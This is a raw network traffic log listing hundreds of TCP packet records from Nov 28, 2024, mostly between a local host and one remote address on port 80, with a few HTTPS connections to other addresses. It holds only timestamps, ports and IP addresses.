Nov 28, 2024 00:19:47.008200884 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.008265972 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.008310080 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.008987904 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.009043932 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.009120941 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.009166002 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.009802103 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.009926081 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.009958982 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.009984016 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.010649920 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.010698080 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.010766029 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.010837078 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.011476994 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.011528015 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.011570930 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.011625051 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.012305021 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.012351990 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.012397051 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.012438059 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.013180017 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.013323069 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.013381004 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.014003992 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.014066935 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.014112949 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.014256001 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.014775038 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.014827013 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.014861107 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.014942884 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.015636921 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.015696049 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.015739918 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.015785933 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.016436100 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.016479969 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.016608953 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.016729116 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.017314911 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.017360926 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.017452002 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.017493963 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.018204927 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.018270016 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.018388987 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.018903971 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.019047022 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.019082069 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.019126892 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.019687891 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.019804955 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.021574974 CET	443	49866	20.199.58.43	192.168.2.6
Nov 28, 2024 00:19:47.021640062 CET	49866	443	192.168.2.6	20.199.58.43
Nov 28, 2024 00:19:47.033592939 CET	49866	443	192.168.2.6	20.199.58.43
Nov 28, 2024 00:19:47.033623934 CET	443	49866	20.199.58.43	192.168.2.6
Nov 28, 2024 00:19:47.033881903 CET	443	49866	20.199.58.43	192.168.2.6
Nov 28, 2024 00:19:47.034132957 CET	49866	443	192.168.2.6	20.199.58.43
Nov 28, 2024 00:19:47.041184902 CET	49866	443	192.168.2.6	20.199.58.43
Nov 28, 2024 00:19:47.041239023 CET	443	49866	20.199.58.43	192.168.2.6
Nov 28, 2024 00:19:47.053806067 CET	49876	443	192.168.2.6	23.49.251.229
Nov 28, 2024 00:19:47.053848982 CET	443	49876	23.49.251.229	192.168.2.6
Nov 28, 2024 00:19:47.053914070 CET	49876	443	192.168.2.6	23.49.251.229
Nov 28, 2024 00:19:47.054102898 CET	49876	443	192.168.2.6	23.49.251.229
Nov 28, 2024 00:19:47.054116964 CET	443	49876	23.49.251.229	192.168.2.6
Nov 28, 2024 00:19:47.061903000 CET	49870	443	192.168.2.6	23.209.72.37
Nov 28, 2024 00:19:47.068129063 CET	443	49863	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:47.068195105 CET	443	49863	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:47.068243980 CET	49863	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:47.068567991 CET	49863	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:47.068586111 CET	443	49863	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:47.068595886 CET	49863	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:47.068603039 CET	443	49863	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:47.074584961 CET	49877	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:47.074620962 CET	443	49877	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:47.074685097 CET	49877	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:47.075047016 CET	49877	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:47.075062037 CET	443	49877	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:47.132088900 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.132152081 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.132153034 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.132193089 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.132486105 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.132575035 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.132602930 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.132637978 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.133300066 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.133358955 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.133438110 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.133477926 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.134180069 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.134232998 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.134252071 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.134295940 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.134985924 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.135072947 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.135121107 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.135776043 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.135813951 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.135870934 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.135921955 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.136601925 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.136781931 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.136838913 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.137439966 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.137481928 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.137546062 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.137578011 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.138284922 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.138323069 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.138328075 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.138360977 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.139080048 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.139184952 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.139240980 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.139940023 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.140032053 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.140089035 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.140722990 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.140774965 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.140820980 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.140852928 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.141555071 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.141596079 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.141679049 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.141726971 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.142426968 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.142471075 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.142476082 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.142699957 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.143239021 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.143281937 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.143382072 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.143421888 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.144059896 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.144100904 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.144141912 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.144197941 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.144902945 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.144951105 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.144958019 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.144994974 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.145109892 CET	443	49869	150.171.28.10	192.168.2.6
Nov 28, 2024 00:19:47.145169020 CET	49869	443	192.168.2.6	150.171.28.10
Nov 28, 2024 00:19:47.145719051 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.145831108 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.145876884 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.146034002 CET	443	49869	150.171.28.10	192.168.2.6
Nov 28, 2024 00:19:47.146085024 CET	49869	443	192.168.2.6	150.171.28.10
Nov 28, 2024 00:19:47.146559000 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.146687984 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.146735907 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.147372007 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.147418022 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.147497892 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.147536993 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.148185968 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.148480892 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.148519039 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.149027109 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.149074078 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.149147034 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.149179935 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.149859905 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.149979115 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.150131941 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.150681973 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.150738955 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.150873899 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.150921106 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.151576996 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.151665926 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.151706934 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.152322054 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.152374029 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.152426958 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.153196096 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.153206110 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.153254986 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.158287048 CET	49869	443	192.168.2.6	150.171.28.10
Nov 28, 2024 00:19:47.158298969 CET	443	49869	150.171.28.10	192.168.2.6
Nov 28, 2024 00:19:47.158623934 CET	443	49869	150.171.28.10	192.168.2.6
Nov 28, 2024 00:19:47.158713102 CET	49869	443	192.168.2.6	150.171.28.10
Nov 28, 2024 00:19:47.158970118 CET	49869	443	192.168.2.6	150.171.28.10
Nov 28, 2024 00:19:47.199346066 CET	443	49869	150.171.28.10	192.168.2.6
Nov 28, 2024 00:19:47.208767891 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.208843946 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.208858013 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.208909035 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.208997011 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.209045887 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.209223032 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.209805965 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.209842920 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.209948063 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.209965944 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.210028887 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.210664988 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.210719109 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.210834980 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.211234093 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.211278915 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.211390972 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.211546898 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.212079048 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.212131977 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.212171078 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.212213039 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.212897062 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.212958097 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.213015079 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.213054895 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.213732958 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.213792086 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.213838100 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.213932037 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.214642048 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.214694023 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.214705944 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.214732885 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.215414047 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.215467930 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.215528011 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.215630054 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.216233015 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.216351986 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.216450930 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.216450930 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.217099905 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.217206955 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.217257977 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.217906952 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.217947960 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.218019009 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.218698025 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.218755007 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.218803883 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.218846083 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.219533920 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.219587088 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.219629049 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.219666958 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.220335960 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.220391035 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.220438957 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.220535994 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.221163034 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.221215010 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.221225977 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.221259117 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.221991062 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.222037077 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.222105026 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.222141981 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.222815990 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.222887039 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.222915888 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.223263025 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.223678112 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.223731995 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.223758936 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.223920107 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.224628925 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.224642038 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.224683046 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.225419044 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.225442886 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.225579023 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.226135969 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.226269960 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.226336002 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.226960897 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.227020025 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.227145910 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.227197886 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.227788925 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.227915049 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.227981091 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.228605032 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.228652954 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.228657007 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.228703022 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.229450941 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.229505062 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.229541063 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.229779005 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.230231047 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.230318069 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.342506886 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.342581034 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.342583895 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.342668056 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.342933893 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.342978001 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.343123913 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.343462944 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.343777895 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.343875885 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.343919992 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.344597101 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.344655991 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.344685078 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.344800949 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.345419884 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.345472097 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.345525980 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.345563889 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.346230030 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.346281052 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.346306086 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.346350908 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.347043991 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.347104073 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.347167015 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.347537041 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.347875118 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.347923994 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.347965956 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.348741055 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.348802090 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.348854065 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.348954916 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.349534988 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.349586964 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.349594116 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.349646091 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.350387096 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.350449085 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.350465059 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.350688934 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.351171017 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.351236105 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.351283073 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.351376057 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.352019072 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.352067947 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.352231026 CET	80	49794	185.215.113.206	192.168.2.6
